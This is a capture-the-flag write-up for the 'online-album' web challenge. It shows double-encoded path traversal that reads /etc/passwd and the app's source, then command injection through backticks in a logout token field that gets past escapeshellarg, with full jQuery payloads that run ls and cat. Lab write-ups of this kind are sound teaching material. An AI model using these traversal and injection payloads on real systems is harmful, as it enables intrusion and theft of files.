CTF-writeups

Some CTF writeups

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Project maintained by Qyn-CTF

online-album (100pts, 41 solved) Web [Hard]

First look

When we open the website, we need to create an account or login. After doing that, we can view some images of cars and pictures of aliens. When we click on such an image, we go to a page with the raw image data. We also notice that we get logged out after 5 minutes.

Solving

When we look at the page source, we see some Debug value:

MS5qcGVn.5fb81e89d041f
Mi5qcGVn.5fb81e89d042a
My5qcGVn.5fb81e89d042c
NC5qcGVn.5fb81e89d042e
NS5qcGVn.5fb81e89d042f

Which decoded as base64 results in:

1.jpeg
2.jpeg
...

When using double encoded values to traverse the path: %252e%252e%252f (/album/%252e%252e%252f) we can see the contents of each folder. We can actually use the same trick in the download thing to trigger LFI (/download/%252e%252e%252f/%252e%252e%252f/%252e%252e%252f/%252e%252e%252f/%252e%252e%252f/etc/passwd). Combining both tricks, allows us to read the source code by first reading /album/%252e%252e%252f we find ../routes and then ../web.php -> /download/%252e%252e%252f/routes/web.php. Here we find API paths, so let’s read them: /download/%252e%252e%252f/app/Http/Controllers/HomeController.php.
In here we see the auto_logout function which executes a shell_exec:

public function auto_logout(Request $request)
{
    Auth::logout();
    //delete file after logout
    $cmd = 'rm "'.storage_path().'/framework/sessions/'.escapeshellarg($request->logut_token).'"';
    shell_exec($cmd);
}

And escapeshellarg only escapes and adds singlequotes, which we can bypass using backticks or normal quotes.
Note: I tried to use curl and other ways to connect to other servers, but that won’t work

So we need to somehow trigger the auto-logout path. We can just copy the code from the original source (At the bottom of every page) and modify it a bit:

$.ajax({
    type: "POST",
    url: "/auto-logout",
    success: function(result) {},
    data: {
        "_token": "VALID TOKEN",
        "logut_token": "`ls -la ../ > /tmp/1.txt | sleep 600`",
    }
});

We have to make sure _token is a valid token or the code won’t execute. I also added a sleep, so we don’t need to login every time.
We can then use the download trick to read the file: /download/%252e%252e%252f/%252e%252e%252f/%252e%252e%252f/%252e%252e%252f/%252e%252e%252f/tmp/1.txt Here we find .flag and we can use the same trick to read the flag:

$.ajax({
    type: "POST",
    url: "/auto-logout",
    success: function(result) {},
    data: {
        "_token": "VALID TOKEN",
        "logut_token": "`ls -la ../.flag > /tmp/1.txt | sleep 600`",
    }
});

We find a file named .asdpifsudyg8husijdaisonfudbigfhsdijispacdnvsubfhd and we can read from it again using the same way:

$.ajax({
    type: "POST",
    url: "/auto-logout",
    success: function(result) {},
    data: {
        "_token": "VALID TOKEN",
        "logut_token": "`cat ../.flag/.asdpifsudyg8husijdaisonfudbigfhsdijispacdnvsubfhd > /tmp/1.txt | sleep 600`",
    }
});

Where we get our flag: DCTF{e620eae38b481f81a98b37fcccbb3ca0e52dd2469524f54128fcb1c9dd115814}

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